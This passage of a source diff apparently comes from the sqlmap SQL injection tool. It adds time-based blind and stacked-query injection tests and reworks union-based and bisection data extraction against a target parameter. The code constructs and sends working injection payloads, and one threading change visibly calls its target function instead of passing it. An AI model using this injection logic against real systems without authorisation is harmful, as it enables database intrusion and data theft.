logger.warn(warnMsg)
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg += " or proxy"
|
|
||||||
raise sqlmapConnectionException, warnMsg
|
raise sqlmapConnectionException, warnMsg
|
||||||
|
|
||||||
parsePage(page)
|
parseResponse(page, responseHeaders)
|
||||||
responseMsg += "(%s - %d):\n" % (status, code)
|
responseMsg += "(%s - %d):\n" % (status, code)
|
||||||
|
|
||||||
if conf.verbose <= 4:
|
if conf.verbose <= 4:
|
||||||
@@ -178,7 +223,7 @@ class Connect:
|
|||||||
|
|
||||||
logger.log(8, responseMsg)
|
logger.log(8, responseMsg)
|
||||||
|
|
||||||
return page
|
return page, responseHeaders
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@@ -221,14 +266,11 @@ class Connect:
|
|||||||
else:
|
else:
|
||||||
ua = conf.parameters["User-Agent"]
|
ua = conf.parameters["User-Agent"]
|
||||||
|
|
||||||
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
||||||
|
|
||||||
if content:
|
if content:
|
||||||
return page
|
return page, headers
|
||||||
elif conf.string:
|
elif page and headers:
|
||||||
if conf.string in page:
|
return comparison(page, headers, content)
|
||||||
return True
|
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
else:
|
|
||||||
return md5.new(page).hexdigest()
|
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ from lib.core.agent import agent
|
|||||||
from lib.core.common import cleanQuery
|
from lib.core.common import cleanQuery
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
from lib.core.common import expandAsteriskForColumns
|
from lib.core.common import expandAsteriskForColumns
|
||||||
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.common import replaceNewlineTabs
|
from lib.core.common import replaceNewlineTabs
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -38,20 +39,14 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
|
from lib.core.settings import SECONDS
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.inference.blind import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
from lib.utils.resume import queryOutputLength
|
from lib.utils.resume import queryOutputLength
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
|
||||||
def __getFieldsProxy(expression):
|
|
||||||
_, _, _, expressionFields = agent.getFields(expression)
|
|
||||||
expressionFieldsList = expressionFields.replace(", ", ",")
|
|
||||||
expressionFieldsList = expressionFieldsList.split(",")
|
|
||||||
|
|
||||||
return expressionFields, expressionFieldsList
|
|
||||||
|
|
||||||
|
|
||||||
def __goInference(payload, expression):
|
def __goInference(payload, expression):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
|
||||||
@@ -65,6 +60,10 @@ def __goInference(payload, expression):
|
|||||||
count, value = bisection(payload, expression, length=length)
|
count, value = bisection(payload, expression, length=length)
|
||||||
duration = int(time.time() - start)
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
if conf.eta and length:
|
||||||
|
infoMsg = "retrieved: %s" % value
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -100,7 +99,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
parameter through a bisection algorithm.
|
parameter through a bisection algorithm.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
query = agent.prefixQuery(temp.inference)
|
query = agent.prefixQuery(" %s" % temp.inference)
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
count = None
|
count = None
|
||||||
@@ -117,7 +116,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
return output
|
return output
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
|
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
infoMsg = "the SQL query provided has more than a field. "
|
infoMsg = "the SQL query provided has more than a field. "
|
||||||
@@ -168,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
test = "n"
|
test = "n"
|
||||||
else:
|
else:
|
||||||
message = "does the SQL query that you provide might "
|
message = "can the SQL query provided return "
|
||||||
message += "return multiple entries? [Y/n] "
|
message += "multiple entries? [Y/n] "
|
||||||
test = readInput(message, default="Y")
|
test = readInput(message, default="Y")
|
||||||
|
|
||||||
if not test or test[0] in ("y", "Y"):
|
if not test or test[0] in ("y", "Y"):
|
||||||
@@ -187,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
if not count or not count.isdigit():
|
if not count or not count.isdigit():
|
||||||
count = __goInference(payload, countedExpression)
|
count = __goInference(payload, countedExpression)
|
||||||
|
|
||||||
if count.isdigit() and int(count) > 0:
|
if count and count.isdigit() and int(count) > 0:
|
||||||
count = int(count)
|
count = int(count)
|
||||||
|
|
||||||
message = "the SQL query that you provide can "
|
message = "the SQL query provided can return "
|
||||||
message += "return up to %d entries. How many " % count
|
message += "up to %d entries. How many " % count
|
||||||
message += "entries do you want to retrieve?\n"
|
message += "entries do you want to retrieve?\n"
|
||||||
message += "[a] All (default)\n[#] Specific number\n"
|
message += "[a] All (default)\n[#] Specific number\n"
|
||||||
message += "[q] Quit\nChoice: "
|
message += "[q] Quit\nChoice: "
|
||||||
@@ -229,49 +228,31 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
elif count and not count.isdigit():
|
||||||
|
warnMsg = "it was not possible to count the number "
|
||||||
|
warnMsg += "of entries for the SQL query provided. "
|
||||||
|
warnMsg += "sqlmap will assume that it returns only "
|
||||||
|
warnMsg += "one entry"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
stopLimit = 1
|
||||||
|
|
||||||
elif ( not count or int(count) == 0 ):
|
elif ( not count or int(count) == 0 ):
|
||||||
warnMsg = "the SQL query that you provided does "
|
warnMsg = "the SQL query provided does not "
|
||||||
warnMsg += "not return any output"
|
warnMsg += "return any output"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||||
warnMsg = "the SQL query that you provided does "
|
warnMsg = "the SQL query provided does not "
|
||||||
warnMsg += "not return any output"
|
warnMsg += "return any output"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
for num in xrange(startLimit, stopLimit):
|
for num in xrange(startLimit, stopLimit):
|
||||||
limitedExpr = expression
|
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
||||||
limitStr = queries[kb.dbms].limit % (num, 1)
|
|
||||||
limitedExpr += " %s" % limitStr
|
|
||||||
|
|
||||||
elif kb.dbms == "Oracle":
|
|
||||||
limitStr = queries[kb.dbms].limit
|
|
||||||
fromIndex = limitedExpr.index(" FROM ")
|
|
||||||
untilFrom = limitedExpr[:fromIndex]
|
|
||||||
fromFrom = limitedExpr[fromIndex+1:]
|
|
||||||
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
|
||||||
limitedExpr = limitedExpr % fromFrom
|
|
||||||
limitedExpr += "=%d" % (num + 1)
|
|
||||||
|
|
||||||
elif kb.dbms == "Microsoft SQL Server":
|
|
||||||
if re.search(" ORDER BY ", limitedExpr, re.I):
|
|
||||||
untilOrderChar = limitedExpr.index(" ORDER BY ")
|
|
||||||
limitedExpr = limitedExpr[:untilOrderChar]
|
|
||||||
|
|
||||||
limitStr = queries[kb.dbms].limit
|
|
||||||
fromIndex = limitedExpr.index(" FROM ")
|
|
||||||
untilFrom = limitedExpr[:fromIndex]
|
|
||||||
fromFrom = limitedExpr[fromIndex+1:]
|
|
||||||
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
|
|
||||||
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
|
|
||||||
limitedExpr += "NOT IN (%s" % (limitStr % num)
|
|
||||||
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
|
|
||||||
|
|
||||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
||||||
outputs.append(output)
|
outputs.append(output)
|
||||||
@@ -284,6 +265,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
|||||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
|
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
|
||||||
|
|
||||||
returnValue = ", ".join([output for output in outputs])
|
returnValue = ", ".join([output for output in outputs])
|
||||||
|
|
||||||
else:
|
else:
|
||||||
returnValue = __goInference(payload, expression)
|
returnValue = __goInference(payload, expression)
|
||||||
|
|
||||||
@@ -296,7 +278,6 @@ def __goInband(expression, expected=None):
|
|||||||
injection vulnerability on the affected parameter.
|
injection vulnerability on the affected parameter.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
counter = None
|
|
||||||
output = None
|
output = None
|
||||||
partial = False
|
partial = False
|
||||||
data = []
|
data = []
|
||||||
@@ -313,49 +294,10 @@ def __goInband(expression, expected=None):
|
|||||||
partial = True
|
partial = True
|
||||||
|
|
||||||
if not output:
|
if not output:
|
||||||
output = unionUse(expression)
|
output = unionUse(expression, resetCounter=True)
|
||||||
|
|
||||||
fields = expression.split(",")
|
|
||||||
counter = len(fields)
|
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) )
|
data = parseUnionPage(output, expression, partial, condition)
|
||||||
outCond2 = ( output.startswith("__START__") and output.endswith("__STOP__") )
|
|
||||||
|
|
||||||
if outCond1 or outCond2:
|
|
||||||
if outCond1:
|
|
||||||
regExpr = '%s(.*?)%s' % (temp.start, temp.stop)
|
|
||||||
elif outCond2:
|
|
||||||
regExpr = '__START__(.*?)__STOP__'
|
|
||||||
|
|
||||||
output = re.findall(regExpr, output, re.S)
|
|
||||||
|
|
||||||
if partial or not condition:
|
|
||||||
logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output])
|
|
||||||
dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput))
|
|
||||||
|
|
||||||
output = set(output)
|
|
||||||
|
|
||||||
for entry in output:
|
|
||||||
info = []
|
|
||||||
|
|
||||||
if "__DEL__" in entry:
|
|
||||||
entry = entry.split("__DEL__")
|
|
||||||
else:
|
|
||||||
entry = entry.split(temp.delimiter)
|
|
||||||
|
|
||||||
if len(entry) == 1:
|
|
||||||
data.append(entry[0])
|
|
||||||
else:
|
|
||||||
for value in entry:
|
|
||||||
info.append(value)
|
|
||||||
|
|
||||||
data.append(info)
|
|
||||||
else:
|
|
||||||
data = output
|
|
||||||
|
|
||||||
if len(data) == 1 and isinstance(data[0], str):
|
|
||||||
data = data[0]
|
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
@@ -375,7 +317,29 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
|
|||||||
if inband and conf.unionUse and kb.dbms:
|
if inband and conf.unionUse and kb.dbms:
|
||||||
value = __goInband(expression, expected)
|
value = __goInband(expression, expected)
|
||||||
|
|
||||||
|
if not value:
|
||||||
|
warnMsg = "for some reasons it was not possible to retrieve "
|
||||||
|
warnMsg += "the query output through inband SQL injection "
|
||||||
|
warnMsg += "technique, sqlmap is going blind"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
conf.paramNegative = False
|
||||||
|
|
||||||
if blind and not value:
|
if blind and not value:
|
||||||
value = __goInferenceProxy(expression, fromUser, expected)
|
value = __goInferenceProxy(expression, fromUser, expected)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
|
def goStacked(expression):
|
||||||
|
"""
|
||||||
|
TODO: write description
|
||||||
|
"""
|
||||||
|
|
||||||
|
comment = queries[kb.dbms].comment
|
||||||
|
query = agent.prefixQuery("; %s" % expression)
|
||||||
|
query = agent.postfixQuery("%s;%s" % (query, comment))
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
page, _ = Request.queryPage(payload, content=True)
|
||||||
|
|
||||||
|
return payload, page
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
|
import traceback
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
@@ -34,7 +35,10 @@ from lib.core.common import replaceNewlineTabs
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.exception import sqlmapConnectionException
|
||||||
from lib.core.exception import sqlmapValueException
|
from lib.core.exception import sqlmapValueException
|
||||||
|
from lib.core.exception import sqlmapThreadException
|
||||||
|
from lib.core.exception import unhandledException
|
||||||
from lib.core.progress import ProgressBar
|
from lib.core.progress import ProgressBar
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
@@ -46,10 +50,13 @@ def bisection(payload, expression, length=None):
|
|||||||
on an affected host
|
on an affected host
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
partialValue = ""
|
||||||
|
finalValue = ""
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, fieldToCast = agent.getFields(expression)
|
_, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||||
nulledCastedField = agent.nullAndCastField(fieldToCast)
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||||
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
|
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||||
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
expressionUnescaped = unescaper.unescape(expressionReplaced)
|
||||||
else:
|
else:
|
||||||
expressionUnescaped = unescaper.unescape(expression)
|
expressionUnescaped = unescaper.unescape(expression)
|
||||||
@@ -102,6 +109,7 @@ def bisection(payload, expression, length=None):
|
|||||||
maxValue = limit
|
maxValue = limit
|
||||||
|
|
||||||
if (maxValue - minValue) == 1:
|
if (maxValue - minValue) == 1:
|
||||||
|
# NOTE: this first condition should never occur
|
||||||
if maxValue == 1:
|
if maxValue == 1:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
@@ -145,7 +153,7 @@ def bisection(payload, expression, length=None):
|
|||||||
val = getChar(curidx)
|
val = getChar(curidx)
|
||||||
|
|
||||||
if val == None:
|
if val == None:
|
||||||
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
|
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||||
|
|
||||||
value[curidx-1] = val
|
value[curidx-1] = val
|
||||||
|
|
||||||
@@ -157,9 +165,38 @@ def bisection(payload, expression, length=None):
|
|||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||||
iolock.release()
|
iolock.release()
|
||||||
|
|
||||||
|
|
||||||
|
def downloadThreadProxy(numThread):
|
||||||
|
try:
|
||||||
|
downloadThread()
|
||||||
|
|
||||||
|
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||||
|
conf.threadException = True
|
||||||
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
conf.threadException = True
|
||||||
|
|
||||||
|
print
|
||||||
|
logger.debug("waiting for threads to finish")
|
||||||
|
|
||||||
|
try:
|
||||||
|
while (threading.activeCount() > 1):
|
||||||
|
pass
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
raise sqlmapThreadException, "user aborted"
|
||||||
|
|
||||||
|
except:
|
||||||
|
conf.threadException = True
|
||||||
|
errMsg = unhandledException()
|
||||||
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||||
|
traceback.print_exc()
|
||||||
|
|
||||||
|
|
||||||
# Start the threads
|
# Start the threads
|
||||||
for _ in range(numThreads):
|
for numThread in range(numThreads):
|
||||||
thread = threading.Thread(target=downloadThread)
|
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
||||||
thread.start()
|
thread.start()
|
||||||
threads.append(thread)
|
threads.append(thread)
|
||||||
|
|
||||||
@@ -167,19 +204,27 @@ def bisection(payload, expression, length=None):
|
|||||||
for thread in threads:
|
for thread in threads:
|
||||||
thread.join()
|
thread.join()
|
||||||
|
|
||||||
assert None not in value
|
# If we have got one single character not correctly fetched it
|
||||||
|
# can mean that the connection to the target url was lost
|
||||||
|
if None in value:
|
||||||
|
for v in value:
|
||||||
|
if isinstance(v, str) and v != None:
|
||||||
|
partialValue += v
|
||||||
|
|
||||||
value = "".join(value)
|
if partialValue:
|
||||||
|
finalValue = partialValue
|
||||||
|
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), finalValue)
|
||||||
|
else:
|
||||||
|
finalValue = "".join(value)
|
||||||
|
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), finalValue)
|
||||||
|
|
||||||
assert index[0] == length
|
if isinstance(finalValue, str) and len(finalValue) > 0:
|
||||||
|
dataToSessionFile(replaceNewlineTabs(finalValue))
|
||||||
|
|
||||||
dataToSessionFile(replaceNewlineTabs(value))
|
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
||||||
|
dataToStdout(infoMsg)
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
value = ""
|
|
||||||
index = 0
|
index = 0
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -190,7 +235,7 @@ def bisection(payload, expression, length=None):
|
|||||||
if val == None:
|
if val == None:
|
||||||
break
|
break
|
||||||
|
|
||||||
value += val
|
finalValue += val
|
||||||
|
|
||||||
dataToSessionFile(replaceNewlineTabs(val))
|
dataToSessionFile(replaceNewlineTabs(val))
|
||||||
|
|
||||||
@@ -203,9 +248,13 @@ def bisection(payload, expression, length=None):
|
|||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
|
|
||||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||||
infoMsg = "retrieved: %s" % value
|
infoMsg = "retrieved: %s" % finalValue
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not partialValue:
|
||||||
dataToSessionFile("]\n")
|
dataToSessionFile("]\n")
|
||||||
|
|
||||||
return queriesCount[0], value
|
if conf.threadException:
|
||||||
|
raise sqlmapThreadException, "something unexpected happen into the threads"
|
||||||
|
|
||||||
|
return queriesCount[0], finalValue
|
||||||
85
lib/techniques/blind/timebased.py
Normal file
85
lib/techniques/blind/timebased.py
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
from lib.core.agent import agent
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.settings import SECONDS
|
||||||
|
from lib.request import inject
|
||||||
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
|
def timeTest():
|
||||||
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
|
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
timeQuery = queries[kb.dbms].timedelay % SECONDS
|
||||||
|
|
||||||
|
query = agent.prefixQuery(" AND %s" % timeQuery)
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
start = time.time()
|
||||||
|
_ = Request.queryPage(payload)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
if duration >= SECONDS:
|
||||||
|
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||||
|
infoMsg += "based blind sql injection with AND condition syntax"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
kb.timeTest = payload
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
|
||||||
|
warnMsg += "based blind sql injection with AND condition syntax"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
|
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
start = time.time()
|
||||||
|
payload, _ = inject.goStacked(timeQuery)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
if duration >= SECONDS:
|
||||||
|
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||||
|
infoMsg += "based blind sql injection with stacked query syntax"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
kb.timeTest = payload
|
||||||
|
else:
|
||||||
|
warnMsg = "the parameter '%s' is not affected by a time " % kb.injParameter
|
||||||
|
warnMsg += "based blind sql injection with stacked query syntax"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
kb.timeTest = False
|
||||||
|
|
||||||
|
return kb.timeTest
|
||||||
@@ -28,6 +28,7 @@ from lib.core.agent import agent
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
from lib.core.session import setUnion
|
from lib.core.session import setUnion
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
@@ -92,9 +93,9 @@ def unionTest():
|
|||||||
|
|
||||||
value = ""
|
value = ""
|
||||||
|
|
||||||
query = agent.prefixQuery("UNION ALL SELECT NULL")
|
query = agent.prefixQuery(" UNION ALL SELECT NULL")
|
||||||
|
|
||||||
for comment in ("--", "#", "/*", ";", "%00"):
|
for comment in (queries[kb.dbms].comment, ""):
|
||||||
value = __effectiveUnionTest(query, comment)
|
value = __effectiveUnionTest(query, comment)
|
||||||
|
|
||||||
if value:
|
if value:
|
||||||
|
|||||||
@@ -24,14 +24,17 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.common import readInput
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||||
from lib.core.session import setUnion
|
from lib.core.session import setUnion
|
||||||
@@ -39,12 +42,23 @@ from lib.core.unescaper import unescaper
|
|||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
|
||||||
def __unionPosition(count, expression):
|
reqCount = 0
|
||||||
logMsg = "confirming inband sql injection on parameter "
|
|
||||||
logMsg += "'%s'" % kb.injParameter
|
|
||||||
logger.info(logMsg)
|
def __unionPosition(expression, negative=False):
|
||||||
|
global reqCount
|
||||||
|
|
||||||
|
if negative:
|
||||||
|
negLogMsg = "partial"
|
||||||
|
else:
|
||||||
|
negLogMsg = "full"
|
||||||
|
|
||||||
|
infoMsg = "confirming %s inband sql injection on parameter " % negLogMsg
|
||||||
|
infoMsg += "'%s'" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# For each column of the table (# of NULL) perform a request using
|
# For each column of the table (# of NULL) perform a request using
|
||||||
# the UNION ALL SELECT statement to test it the target url is
|
# the UNION ALL SELECT statement to test it the target url is
|
||||||
@@ -64,17 +78,17 @@ def __unionPosition(count, expression):
|
|||||||
|
|
||||||
# Forge the inband SQL injection request
|
# Forge the inband SQL injection request
|
||||||
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query, negative=negative)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
resultPage = Request.queryPage(payload, content=True)
|
resultPage, _ = Request.queryPage(payload, content=True)
|
||||||
count += 1
|
reqCount += 1
|
||||||
|
|
||||||
# We have to assure that the randQuery value is not within the
|
# We have to assure that the randQuery value is not within the
|
||||||
# HTML code of the result page because, for instance, it is there
|
# HTML code of the result page because, for instance, it is there
|
||||||
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
# when the query is wrong and the back-end DBMS is Microsoft SQL
|
||||||
# server
|
# server
|
||||||
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
|
htmlParsed = htmlParser(resultPage)
|
||||||
|
|
||||||
if randQuery in resultPage and not htmlParsed:
|
if randQuery in resultPage and not htmlParsed:
|
||||||
setUnion(position=exprPosition)
|
setUnion(position=exprPosition)
|
||||||
@@ -82,29 +96,39 @@ def __unionPosition(count, expression):
|
|||||||
break
|
break
|
||||||
|
|
||||||
if isinstance(kb.unionPosition, int):
|
if isinstance(kb.unionPosition, int):
|
||||||
logMsg = "the target url is affected by an exploitable "
|
infoMsg = "the target url is affected by an exploitable "
|
||||||
logMsg += "inband sql injection vulnerability"
|
infoMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
else:
|
else:
|
||||||
warnMsg = "the target url is not affected by an exploitable "
|
warnMsg = "the target url is not affected by an exploitable "
|
||||||
warnMsg += "inband sql injection vulnerability, sqlmap will "
|
warnMsg += "%s inband sql injection vulnerability" % negLogMsg
|
||||||
